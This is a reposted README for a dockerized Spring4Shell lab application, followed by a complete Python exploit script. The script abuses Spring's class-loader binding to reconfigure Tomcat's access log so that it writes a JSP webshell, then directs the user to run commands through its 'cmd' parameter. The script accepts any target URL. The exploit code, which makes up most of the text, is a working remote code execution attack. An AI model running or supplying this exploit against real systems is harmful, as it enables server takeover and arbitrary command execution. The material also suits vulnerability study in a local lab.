Spring Core RCE POC Application

Spring4Shell PoC Application

This is a dockerized application that is vulnerable to the Spring4Shell vulnerability. Full Java source for the war is provided and modifiable, the war will get re-built whenever the docker image is built. There is nothing special about this application, it's a simple hello world that's based off Spring tutorials.

Details: https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities

Requirements

  1. Docker
  2. Python3 + requests library

Instructions

  1. Clone the repository
  2. Build and run the container: docker build . -t spring4shell && docker run -p 8080:8080 spring4shell
  3. App should now be available at http://localhost:8080/helloworld/greeting

  1. Run the exploit.py script:
exploit.py --url "http://localhost:8080/helloworld/greeting"
# Author: @Rezn0k
# Based off the work of p1n93r

import requests
import argparse
from urllib.parse import urlparse


def run_exploit(url, directory, filename):
    headers = {
        "prefix": "<%",
        "suffix": "%>//",
        # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
        "c": "Runtime",
        "Content-Type": "application/x-www-form-urlencoded"
    }

    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
           f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
           f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
           f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    try:
        # Run exploit
        requests.post(url, headers=headers, data=data, timeout=15, allow_redirects=False, verify=False)
    except Exception as e:
        print(e)
        pass


def main():
    parser = argparse.ArgumentParser(description='Spring Core RCE')
    parser.add_argument('--url',help='target url', required=True)
    parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
    parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
                        required=False, default="webapps/ROOT")

    file_arg = parser.parse_args().file
    dir_arg = parser.parse_args().dir
    url_arg = parser.parse_args().url

    filename = file_arg.replace(".jsp", "")

    if url_arg is None:
        print("Must pass an option for --url")
        return

    try:
        run_exploit(url_arg, dir_arg, filename)
        print("[+] Exploit completed")
        print("[+] Check your target for a shell")
        print("[+] File: " + filename + ".jsp")

        if dir_arg:
            location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
        else:
            location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
        print(f"[+] Shell should be at: {location}?cmd=id")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    main()

  1. Visit the created webshell! Modify the cmd GET parameter for your commands. (http://localhost:8080/shell.jsp by default)

posted @ 2022-04-01 10:24  xyongsec  阅读(94)  评论(0编辑  收藏  举报